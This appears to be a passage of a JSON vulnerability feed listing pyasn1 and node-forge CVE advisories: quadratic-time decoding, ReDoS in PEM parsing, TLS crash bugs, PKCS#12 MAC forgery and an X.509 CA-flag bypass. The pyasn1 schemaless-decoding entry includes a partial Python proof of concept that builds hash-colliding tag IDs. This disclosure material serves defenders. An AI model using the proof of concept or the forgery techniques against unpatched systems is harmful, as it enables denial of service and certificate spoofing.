[CVE-2026-59886](https://github.com/advisories/GHSA-hm4w-wwcw-mr6r), which concerns converting an already-decoded REAL to a Python float. That issue was fixed in 0.6.4 and its advisory states that decoding alone does not trigger it. ## Root cause and affected components For binary REAL values, [`RealPayloadDecoder.valueDecoder` in v0.6.4](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L535-L603) builds the mantissa one octet at a time: ```python p = 0 while chunk: p <<= 8 p |= chunk[0] chunk = chunk[1:] ``` Each shift processes an integer that grows with the mantissa; with byte strings, each slice also copies the remaining suffix. Repeating both operations for every octet makes decoding quadratic in mantissa size. The decoder's [eight-octet length-field limit](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1704-L1717) does not impose a practical mantissa-size limit for the inputs demonstrated below. [CER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/cer/decoder.py#L51-L62) and [DER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L23-L31) reuse the BER REAL payload decoder, so all three paths reach this loop. The vulnerable loop is present in every available repository release tag inspected, from v0.2.1 through v0.6.4. Runtime measurements below were made on v0.6.4; older releases were checked for the loop, not benchmarked in…"},"refs":[["https://github.com/advisories/GHSA-mm57-4v3p-rchx","advisory"],["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-mm57-4v3p-rchx","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-119197","ref"],["https://github.com/pyasn1/pyasn1/pull/132","ref"],["https://github.com/pyasn1/pyasn1/commit/ce3ec3390784780a530047e0e77be5ff457636a4","ref"],["https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"pyasn1"},{"id":"CVE-2026-119195","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-407","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T23:03:51Z","product":"pyasn1","affected":[["<= 0.6.4","0.6.5"]],"title":{"en":"pyasn1 has quadratic-time denial of service in constructed string and indefinite-length ANY decoding","ar":"ثغرة عالية الخطورة في pyasn1"},"summary":{"en":"## Summary In pyasn1 0.6.4 and earlier, decoding a constructed OCTET STRING or character string made of many fragments can spend disproportionate CPU time repeatedly copying the accumulated value. A separate indefinite-length `ANY` path has the same problem while collecting the encoded components. The work grows roughly quadratically with the number of fixed-size fragments, although the input and decoded value grow linearly. An application that lets an attacker supply such ASN.1 input to an affected decoder can suffer CPU exhaustion. The affected string paths are available in BER and CER. The DER decoder also accepts certain *non-DER* constructed strings: a definite-length constructed OCTET STRING when an `asn1Spec` selects `univ.OctetString`, and constructed character strings such as UTF8String even without a schema. Indefinite-length `ANY` is affected in BER and CER when an `asn1Spec` selects `univ.Any`; DER rejects indefinite lengths. This is a distinct decoder path from the OBJECT IDENTIFIER/RELATIVE-OID accumulation addressed by [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj). It has the same complexity class, but the OID fix in 0.6.4 did not change these string or `ANY` loops. ## Technical details In the [v0.6.4 BER decoder](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py), `OctetStringPayloadDecoder` appends each decoded fragment to a growing `bytes` value with `header += component` in both its [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L338-L351) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L368-L387) constructed forms. [`AnyPayloadDecoder.indefLenValueDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1403-L1430) similarly uses `chunk += component`. In the exercised paths, each concatenation copies an increasingly large prefix. For `N` fixed-size fragments, the total copied data gr…","ar":"## Summary In pyasn1 0.6.4 and earlier, decoding a constructed OCTET STRING or character string made of many fragments can spend disproportionate CPU time repeatedly copying the accumulated value. A separate indefinite-length `ANY` path has the same problem while collecting the encoded components. The work grows roughly quadratically with the number of fixed-size fragments, although the input and decoded value grow linearly. An application that lets an attacker supply such ASN.1 input to an affected decoder can suffer CPU exhaustion. The affected string paths are available in BER and CER. The DER decoder also accepts certain *non-DER* constructed strings: a definite-length constructed OCTET STRING when an `asn1Spec` selects `univ.OctetString`, and constructed character strings such as UTF8String even without a schema. Indefinite-length `ANY` is affected in BER and CER when an `asn1Spec` selects `univ.Any`; DER rejects indefinite lengths. This is a distinct decoder path from the OBJECT IDENTIFIER/RELATIVE-OID accumulation addressed by [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj). It has the same complexity class, but the OID fix in 0.6.4 did not change these string or `ANY` loops. ## Technical details In the [v0.6.4 BER decoder](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py), `OctetStringPayloadDecoder` appends each decoded fragment to a growing `bytes` value with `header += component` in both its [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L338-L351) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L368-L387) constructed forms. [`AnyPayloadDecoder.indefLenValueDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1403-L1430) similarly uses `chunk += component`. In the exercised paths, each concatenation copies an increasingly large prefix. For `N` fixed-size fragments, the total copied data gr…"},"refs":[["https://github.com/advisories/GHSA-9m75-vc3g-4x39","advisory"],["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-9m75-vc3g-4x39","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-119195","ref"],["https://github.com/pyasn1/pyasn1/pull/132","ref"],["https://github.com/pyasn1/pyasn1/commit/4ce00797c594b59c1fd6b86d9ebc3ba87b7ec9f9","ref"],["https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5","ref"]],"epss":0.0053,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"pyasn1"},{"id":"CVE-2026-119194","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-407","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T23:03:37Z","product":"pyasn1","affected":[[">= 0.3.3, < 0.6.5","0.6.5"]],"title":{"en":"pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding","ar":"ثغرة عالية الخطورة في pyasn1"},"summary":{"en":"### Summary When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability. ### Details ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder. ### Proof of concept Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed: ```python import sys import time from pyasn1.codec.ber import decoder from pyasn1.type import univ def enc_tag(tag_id): groups = [tag_id & 0x7f] tag_id >>= 7 while tag_id: groups.append((tag_id & 0x7f) | 0x80) tag_id >>= 7 return b'\\xbf' + bytes(reversed(groups)) def payload(tag_ids): body = b''.join(enc_tag(tag_id) + b'\\x03\\x04\\x01A' for tag_id in tag_ids) length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big') return b'\\x30' + bytes([0x80 | len(length)]) + length + body for count in (3200, 6400): cases = ( (\"collision\", [32 + i * sys.hash_info.modulus for i in range(count)]), (\"control\", [(1 << 70) + i for i in range(count)]), ) for name, tag_ids in cases: wire = payload(tag_ids) start = time.process_time() value, remainder = decoder.decode(wire) cpu_s…","ar":"### Summary When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability. ### Details ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder. ### Proof of concept Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed: ```python import sys import time from pyasn1.codec.ber import decoder from pyasn1.type import univ def enc_tag(tag_id): groups = [tag_id & 0x7f] tag_id >>= 7 while tag_id: groups.append((tag_id & 0x7f) | 0x80) tag_id >>= 7 return b'\\xbf' + bytes(reversed(groups)) def payload(tag_ids): body = b''.join(enc_tag(tag_id) + b'\\x03\\x04\\x01A' for tag_id in tag_ids) length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big') return b'\\x30' + bytes([0x80 | len(length)]) + length + body for count in (3200, 6400): cases = ( (\"collision\", [32 + i * sys.hash_info.modulus for i in range(count)]), (\"control\", [(1 << 70) + i for i in range(count)]), ) for name, tag_ids in cases: wire = payload(tag_ids) start = time.process_time() value, remainder = decoder.decode(wire) cpu_s…"},"refs":[["https://github.com/advisories/GHSA-fm9c-5rcf-2q5p","advisory"],["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-119194","ref"],["https://github.com/pyasn1/pyasn1/pull/132","ref"],["https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86","ref"],["https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"pyasn1"},{"id":"CVE-2026-118779","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T23:02:25Z","product":"node-forge","affected":[["<= 1.4.0","1.4.1"]],"title":{"en":"Forge: Regular expression denial of service in PEM decoding (pem.decode)","ar":"ثغرة عالية الخطورة في node-forge"},"summary":{"en":"### Summary `pem.decode()`, which every node-forge API that parses PEM input uses, split messages with a regular expression that takes polynomial time on input without a matching END line, and parsed encapsulated headers with regular expressions that take quadratic time on long header lines. A remote attacker can block the Node.js event loop for seconds to minutes with a crafted input of a few tens of kilobytes. Fixed in node-forge 1.4.1. ### Details `pem.decode()` in `lib/pem.js` found PEM messages with this regular expression: /\\s*-----BEGIN ([A-Z0-9- ]+)-----\\r?\\n?([\\x21-\\x7e\\s]+?(?:\\r?\\n\\r?\\n))?([:A-Za-z0-9+\\/=\\s]+?)-----END \\1-----/g The optional headers group and the body group are adjacent, lazy, and share characters (whitespace and the base64 alphabet), and the match must end with an END line whose label equals the BEGIN label (`\\1`). When no such END line follows, the engine tries every split of the text between the two groups, for every label split and at every BEGIN line in the input. The work grows polynomially with the input length (roughly cubic for repeated BEGIN/END lines with mismatched labels, quadratic for a BEGIN line followed by many newlines). The encapsulated header parsing in the same function had two smaller quadratic cases: trimming each header line with `/\\s+$/`, and an unanchored header regex `([\\x21-\\x7e]+):...` that retries at every position of a long line without a colon. These are reachable when a message does match. All PEM entry points call `pem.decode()`, including `pki.certificateFromPem()`, `pki.privateKeyFromPem()`, `pki.publicKeyFromPem()`, `pki.certificationRequestFromPem()`, `pki.encryptedPrivateKeyFromPem()`, `pki.decryptRsaPrivateKey()` and `pkcs7.messageFromPem()`. The fix replaces the message regular expression with a scanner that indexes the END lines once and matches each BEGIN line in linear time, finding the same messages as before. The one difference: a label containing `-----` (`-----BEGIN A-----B-----`) was matche…","ar":"### Summary `pem.decode()`, which every node-forge API that parses PEM input uses, split messages with a regular expression that takes polynomial time on input without a matching END line, and parsed encapsulated headers with regular expressions that take quadratic time on long header lines. A remote attacker can block the Node.js event loop for seconds to minutes with a crafted input of a few tens of kilobytes. Fixed in node-forge 1.4.1. ### Details `pem.decode()` in `lib/pem.js` found PEM messages with this regular expression: /\\s*-----BEGIN ([A-Z0-9- ]+)-----\\r?\\n?([\\x21-\\x7e\\s]+?(?:\\r?\\n\\r?\\n))?([:A-Za-z0-9+\\/=\\s]+?)-----END \\1-----/g The optional headers group and the body group are adjacent, lazy, and share characters (whitespace and the base64 alphabet), and the match must end with an END line whose label equals the BEGIN label (`\\1`). When no such END line follows, the engine tries every split of the text between the two groups, for every label split and at every BEGIN line in the input. The work grows polynomially with the input length (roughly cubic for repeated BEGIN/END lines with mismatched labels, quadratic for a BEGIN line followed by many newlines). The encapsulated header parsing in the same function had two smaller quadratic cases: trimming each header line with `/\\s+$/`, and an unanchored header regex `([\\x21-\\x7e]+):...` that retries at every position of a long line without a colon. These are reachable when a message does match. All PEM entry points call `pem.decode()`, including `pki.certificateFromPem()`, `pki.privateKeyFromPem()`, `pki.publicKeyFromPem()`, `pki.certificationRequestFromPem()`, `pki.encryptedPrivateKeyFromPem()`, `pki.decryptRsaPrivateKey()` and `pkcs7.messageFromPem()`. The fix replaces the message regular expression with a scanner that indexes the END lines once and matches each BEGIN line in linear time, finding the same messages as before. The one difference: a label containing `-----` (`-----BEGIN A-----B-----`) was matche…"},"refs":[["https://github.com/advisories/GHSA-7wch-p9px-956x","advisory"],["https://github.com/digitalbazaar/forge/security/advisories/GHSA-7wch-p9px-956x","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-118779","ref"],["https://github.com/digitalbazaar/forge/commit/412345db583cd28a9d23636d0d93e9f751b935f3","ref"],["https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","ref"]],"epss":0.0056,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"node-forge"},{"id":"CVE-2026-118782","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","cwe":"CWE-354","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T23:02:05Z","product":"node-forge","affected":[["<= 1.4.0","1.4.1"]],"title":{"en":"Forge: PKCS#12 MAC forgery and constant-key PBE via zero iteration count","ar":"ثغرة عالية الخطورة في node-forge"},"summary":{"en":"### Summary forge.pkcs12.pkcs12FromAsn1() accepts a PKCS#12 MAC iteration count of zero (or less) from the input, and the PKCS#12 key derivation function then returns a constant key that does not depend on the password or salt. An attacker who does not know the password can modify a PKCS#12/PFX file and compute a MAC that verifies with any password; PKCS#12 PBE-encrypted private keys prepared the same way decrypt with any password. Fixed in node-forge 1.4.1. ### Details `p12.pkcs12FromAsn1()` in `lib/pkcs12.js` reads the MAC iteration count (`MacData.iterations`) from the input and passes it to the PKCS#12 key derivation function `pki.pbe.generatePkcs12Key()` in `lib/pbe.js` (also exposed as `forge.pkcs12.generateKey()`) without checking that it is at least 1. The key derivation function (RFC 7292 Appendix B.2) runs its hash loop `iter` times. With an iteration count of 0 (or an empty or negative INTEGER), no hashing is done and the function returns the PKCS#12 diversifier ID byte repeated, for example `0x03` repeated 20 times for an HMAC-SHA1 MAC key. The result does not depend on the password or the salt, so anyone can compute a valid MAC over arbitrary PFX contents. The same key derivation function is used by `pki.pbe.getCipherForPKCS12PBE()` for the PKCS#12 password-based encryption schemes `pbeWithSHAAnd3-KeyTripleDES-CBC` and `pbewithSHAAnd40BitRC2-CBC`, whose `pkcs-12PbeParams` iteration count is also read from the input. With an iteration count of 0 or less, the encryption key and IV are constants (`0x01` and `0x02` repeated). This is reached from shrouded key bags and encrypted SafeContents in `pkcs12FromAsn1()`, and from `forge.pki.decryptPrivateKeyInfo()` (for example for `ENCRYPTED PRIVATE KEY` PEM input). RFC 7292 defines `MacData` with `iterations INTEGER DEFAULT 1`; an iteration count only makes sense as 1 or more (RFC 8018 uses `INTEGER (1..MAX)` for the same concept). PBES2 (PBKDF2) encrypted content is not affected. The fix rejects iteration count…","ar":"### Summary forge.pkcs12.pkcs12FromAsn1() accepts a PKCS#12 MAC iteration count of zero (or less) from the input, and the PKCS#12 key derivation function then returns a constant key that does not depend on the password or salt. An attacker who does not know the password can modify a PKCS#12/PFX file and compute a MAC that verifies with any password; PKCS#12 PBE-encrypted private keys prepared the same way decrypt with any password. Fixed in node-forge 1.4.1. ### Details `p12.pkcs12FromAsn1()` in `lib/pkcs12.js` reads the MAC iteration count (`MacData.iterations`) from the input and passes it to the PKCS#12 key derivation function `pki.pbe.generatePkcs12Key()` in `lib/pbe.js` (also exposed as `forge.pkcs12.generateKey()`) without checking that it is at least 1. The key derivation function (RFC 7292 Appendix B.2) runs its hash loop `iter` times. With an iteration count of 0 (or an empty or negative INTEGER), no hashing is done and the function returns the PKCS#12 diversifier ID byte repeated, for example `0x03` repeated 20 times for an HMAC-SHA1 MAC key. The result does not depend on the password or the salt, so anyone can compute a valid MAC over arbitrary PFX contents. The same key derivation function is used by `pki.pbe.getCipherForPKCS12PBE()` for the PKCS#12 password-based encryption schemes `pbeWithSHAAnd3-KeyTripleDES-CBC` and `pbewithSHAAnd40BitRC2-CBC`, whose `pkcs-12PbeParams` iteration count is also read from the input. With an iteration count of 0 or less, the encryption key and IV are constants (`0x01` and `0x02` repeated). This is reached from shrouded key bags and encrypted SafeContents in `pkcs12FromAsn1()`, and from `forge.pki.decryptPrivateKeyInfo()` (for example for `ENCRYPTED PRIVATE KEY` PEM input). RFC 7292 defines `MacData` with `iterations INTEGER DEFAULT 1`; an iteration count only makes sense as 1 or more (RFC 8018 uses `INTEGER (1..MAX)` for the same concept). PBES2 (PBKDF2) encrypted content is not affected. The fix rejects iteration count…"},"refs":[["https://github.com/advisories/GHSA-jc66-7q78-782g","advisory"],["https://github.com/digitalbazaar/forge/security/advisories/GHSA-jc66-7q78-782g","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-118782","ref"],["https://github.com/digitalbazaar/forge/commit/d9584aa56824972858366d5187b3d29e46bf3656","ref"],["https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"node-forge"},{"id":"CVE-2026-119188","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-248","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T23:02:00Z","product":"node-forge","affected":[["<= 1.4.0","1.4.1"]],"title":{"en":"Forge: Denial of service in TLS record processing via a record interleaved with a fragmented handshake message","ar":"ثغرة عالية الخطورة في node-forge"},"summary":{"en":"### Summary A connection created with `forge.tls.createConnection()` throws an uncaught `TypeError` from `process()` when it receives a record of another content type while waiting for the rest of a handshake message that was split across records. A peer can trigger this with 18 bytes before the handshake, without authentication, which terminates Node.js processes that use the documented socket wiring. Fixed in node-forge 1.4.1. ### Details In `lib/tls.js`, `_readRecord()` handles a record that arrives while a handshake message split across records is incomplete. If the record has any other content type (change_cipher_spec, alert, application_data or heartbeat), forge correctly reports \"Invalid fragmented record.\" through `c.error()` with a fatal `unexpected_message` alert. That fatal error closes and resets the connection, which sets `c.record` to `null`. `_readRecord()` then continues with `c.record.ready = true` and throws `TypeError: Cannot set properties of null (setting 'ready')` out of `process()`. The code is unchanged since the first release. RFC 5246 section 6.2.1 allows a handshake message to be fragmented across records, and RFC 8446 section 5.1 forbids interleaving handshake messages with other record types. Failing the connection with `unexpected_message` is the intended behavior; the bug is the crash after the error. node-forge reports TLS protocol errors through the `error` callback, so applications do not normally wrap `process()` in `try`/`catch`. When `process()` is called from a Node.js socket `data` handler, as in the documented usage, the exception is uncaught and terminates the process. The fix returns from `_readRecord()` right after the fatal error. The connection is failed, the alert is sent and the `error` callback is called as before, and `process()` no longer throws. ### Patches Fixed in node-forge 1.4.1. The connection still fails with a fatal `unexpected_message` alert and the `error` callback, but `process()` no longer throws. ### Wo…","ar":"### Summary A connection created with `forge.tls.createConnection()` throws an uncaught `TypeError` from `process()` when it receives a record of another content type while waiting for the rest of a handshake message that was split across records. A peer can trigger this with 18 bytes before the handshake, without authentication, which terminates Node.js processes that use the documented socket wiring. Fixed in node-forge 1.4.1. ### Details In `lib/tls.js`, `_readRecord()` handles a record that arrives while a handshake message split across records is incomplete. If the record has any other content type (change_cipher_spec, alert, application_data or heartbeat), forge correctly reports \"Invalid fragmented record.\" through `c.error()` with a fatal `unexpected_message` alert. That fatal error closes and resets the connection, which sets `c.record` to `null`. `_readRecord()` then continues with `c.record.ready = true` and throws `TypeError: Cannot set properties of null (setting 'ready')` out of `process()`. The code is unchanged since the first release. RFC 5246 section 6.2.1 allows a handshake message to be fragmented across records, and RFC 8446 section 5.1 forbids interleaving handshake messages with other record types. Failing the connection with `unexpected_message` is the intended behavior; the bug is the crash after the error. node-forge reports TLS protocol errors through the `error` callback, so applications do not normally wrap `process()` in `try`/`catch`. When `process()` is called from a Node.js socket `data` handler, as in the documented usage, the exception is uncaught and terminates the process. The fix returns from `_readRecord()` right after the fatal error. The connection is failed, the alert is sent and the `error` callback is called as before, and `process()` no longer throws. ### Patches Fixed in node-forge 1.4.1. The connection still fails with a fatal `unexpected_message` alert and the `error` callback, but `process()` no longer throws. ### Wo…"},"refs":[["https://github.com/advisories/GHSA-8hrf-8g6f-7xwp","advisory"],["https://github.com/digitalbazaar/forge/security/advisories/GHSA-8hrf-8g6f-7xwp","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-119188","ref"],["https://github.com/digitalbazaar/forge/commit/700d977d39f9f8f896c55b0763eebb940a2c087e","ref"],["https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","ref"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"node-forge"},{"id":"CVE-2026-119187","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-674","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T23:01:54Z","product":"node-forge","affected":[["<= 1.4.0","1.4.1"],[" – <1.4.1","1.4.1"]],"title":{"en":"Forge: Denial of service in TLS record processing via call stack exhaustion","ar":"ثغرة عالية الخطورة في node-forge"},"summary":{"en":"### Summary Connections created with `forge.tls.createConnection()` processed received TLS records recursively, one stack level per record. A peer can send one chunk of thousands of small records, such as heartbeat records, which are accepted before the handshake, and `process()` throws `RangeError: Maximum call stack size exceeded`, which terminates Node.js processes that use the documented socket wiring. Fixed in node-forge 1.4.1. ### Details In `lib/tls.js`, `c.process()` reads one record and passes it to `_update()`, which calls the handler for the record type from `ctTable`. Every handler (`tls.handleHeartbeat`, `tls.handleApplicationData`, `tls.handleHandshake` for fragmented messages, `tls.handleHelloRequest` and the other handshake handlers) ends by calling `c.process()` again to continue with the next buffered record, or the next message in the same record. Each record therefore adds `process` → `_update` → handler to the call stack. In Node.js 24, about 2,300 eight-byte records (under 20 KB) in one chunk are enough for `process()` to throw `RangeError: Maximum call stack size exceeded`. `ctTable` maps heartbeat records to `tls.handleHeartbeat` in every client and server state, so heartbeat records are processed before the handshake without any extension negotiation. The attack needs no authentication and no valid handshake messages. Both server connections (attacked by a client) and client connections (attacked by the server they connect to) are affected. Other record types recurse the same way: a handshake message fragmented over many records, many HelloRequest messages in one record, or many application data records after the handshake. node-forge reports TLS protocol errors through the `error` callback, so applications do not normally wrap `process()` in `try`/`catch`. When `process()` is called from a Node.js socket `data` handler, as in the documented usage, the exception is uncaught and terminates the process. If the exception is caught, the connect…","ar":"### Summary Connections created with `forge.tls.createConnection()` processed received TLS records recursively, one stack level per record. A peer can send one chunk of thousands of small records, such as heartbeat records, which are accepted before the handshake, and `process()` throws `RangeError: Maximum call stack size exceeded`, which terminates Node.js processes that use the documented socket wiring. Fixed in node-forge 1.4.1. ### Details In `lib/tls.js`, `c.process()` reads one record and passes it to `_update()`, which calls the handler for the record type from `ctTable`. Every handler (`tls.handleHeartbeat`, `tls.handleApplicationData`, `tls.handleHandshake` for fragmented messages, `tls.handleHelloRequest` and the other handshake handlers) ends by calling `c.process()` again to continue with the next buffered record, or the next message in the same record. Each record therefore adds `process` → `_update` → handler to the call stack. In Node.js 24, about 2,300 eight-byte records (under 20 KB) in one chunk are enough for `process()` to throw `RangeError: Maximum call stack size exceeded`. `ctTable` maps heartbeat records to `tls.handleHeartbeat` in every client and server state, so heartbeat records are processed before the handshake without any extension negotiation. The attack needs no authentication and no valid handshake messages. Both server connections (attacked by a client) and client connections (attacked by the server they connect to) are affected. Other record types recurse the same way: a handshake message fragmented over many records, many HelloRequest messages in one record, or many application data records after the handshake. node-forge reports TLS protocol errors through the `error` callback, so applications do not normally wrap `process()` in `try`/`catch`. When `process()` is called from a Node.js socket `data` handler, as in the documented usage, the exception is uncaught and terminates the process. If the exception is caught, the connect…"},"refs":[["https://github.com/digitalbazaar/forge/commit/817e2ce0d0f6d8a25bc9c2670615c38a9ffdc51c","patch"],["https://github.com/advisories/GHSA-hqq3-7jhf-c5jx","advisory"],["https://github.com/digitalbazaar/forge/security/advisories/GHSA-hqq3-7jhf-c5jx","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-119187","ref"],["https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","ref"]],"epss":0.0042,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"node-forge"},{"id":"CVE-2026-119190","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-295","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T23:01:46Z","product":"node-forge","affected":[["<= 1.4.0","1.4.1"]],"title":{"en":"Forge: X.509 basicConstraints bypass in verifyCertificateChain() via deprecated extension OIDs 2.5.29.10 and 2.5.29.13","ar":"ثغرة عالية الخطورة في node-forge"},"summary":{"en":"### Summary node-forge parses certificate extensions with the deprecated OIDs `2.5.29.10` and `2.5.29.13` as `basicConstraints`, and `forge.pki.verifyCertificateChain()` used the first extension with that name. A certificate with a forged deprecated-OID extension (`cA` TRUE) before its genuine `basicConstraints` extension (`cA` FALSE) is accepted as a CA certificate, and the same technique can hide a `pathLenConstraint`. Fixed in node-forge 1.4.1. ### Details `lib/oids.js` maps the deprecated certificate extension OIDs `2.5.29.10` and `2.5.29.13` to the name `basicConstraints`, the same name as the RFC 5280 extension `2.5.29.19`. `certificateExtensionFromAsn1()` in `lib/x509.js` decodes extensions by name, so these extensions are decoded into the same `cA` and `pathLenConstraint` fields. `cert.getExtension()` returns the first extension with a matching name, and `pki.verifyCertificateChain()` looked up `basicConstraints` by name. As a result, a certificate that contains a `2.5.29.10` (or `2.5.29.13`) extension with `cA` TRUE before its genuine `basicConstraints` extension with `cA` FALSE is accepted as a CA certificate. The same technique can hide a CA certificate's `pathLenConstraint`. A deprecated-OID extension on its own also satisfies the check added for GHSA-2328-f5f3-gj25 (CVE-2026-33896) that `basicConstraints` is present. RFC 5280 section 4.2.1.9 defines basicConstraints only as `id-ce 19` (`2.5.29.19`), and the path validation checks in section 6.1.4 apply to that extension. The fix makes chain verification look up basicConstraints by OID (`cert.getExtension({id: '2.5.29.19'})`). This covers both the `cA` and the `pathLenConstraint` checks. Certificate parsing, the OID table and `cert.getExtension('basicConstraints')` are unchanged. #### Patches Fixed in node-forge 1.4.1. Chain verification now uses only the `basicConstraints` extension with OID `2.5.29.19`. #### Workarounds None in node-forge itself. Applications that pass an `options.verify` callback to…","ar":"### Summary node-forge parses certificate extensions with the deprecated OIDs `2.5.29.10` and `2.5.29.13` as `basicConstraints`, and `forge.pki.verifyCertificateChain()` used the first extension with that name. A certificate with a forged deprecated-OID extension (`cA` TRUE) before its genuine `basicConstraints` extension (`cA` FALSE) is accepted as a CA certificate, and the same technique can hide a `pathLenConstraint`. Fixed in node-forge 1.4.1. ### Details `lib/oids.js` maps the deprecated certificate extension OIDs `2.5.29.10` and `2.5.29.13` to the name `basicConstraints`, the same name as the RFC 5280 extension `2.5.29.19`. `certificateExtensionFromAsn1()` in `lib/x509.js` decodes extensions by name, so these extensions are decoded into the same `cA` and `pathLenConstraint` fields. `cert.getExtension()` returns the first extension with a matching name, and `pki.verifyCertificateChain()` looked up `basicConstraints` by name. As a result, a certificate that contains a `2.5.29.10` (or `2.5.29.13`) extension with `cA` TRUE before its genuine `basicConstraints` extension with `cA` FALSE is accepted as a CA certificate. The same technique can hide a CA certificate's `pathLenConstraint`. A deprecated-OID extension on its own also satisfies the check added for GHSA-2328-f5f3-gj25 (CVE-2026-33896) that `basicConstraints` is present. RFC 5280 section 4.2.1.9 defines basicConstraints only as `id-ce 19` (`2.5.29.19`), and the path validation checks in section 6.1.4 apply to that extension. The fix makes chain verification look up basicConstraints by OID (`cert.getExtension({id: '2.5.29.19'})`). This covers both the `cA` and the `pathLenConstraint` checks. Certificate parsing, the OID table and `cert.getExtension('basicConstraints')` are unchanged. #### Patches Fixed in node-forge 1.4.1. Chain verification now uses only the `basicConstraints` extension with OID `2.5.29.19`. #### 